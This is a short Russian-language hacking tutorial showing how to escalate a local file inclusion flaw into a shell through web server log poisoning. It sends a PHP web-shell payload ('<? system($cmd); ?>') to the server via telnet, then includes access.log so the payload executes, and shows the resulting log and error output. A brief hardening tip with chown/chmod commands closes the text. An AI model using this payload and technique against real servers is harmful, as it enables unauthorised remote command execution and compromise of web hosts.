Получение шела при локальном инклуде
Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл
Запускаем
telnet localhost 80
Теперь в файле останется запись похожая не эту
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414
Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET
Notice: Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1
Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache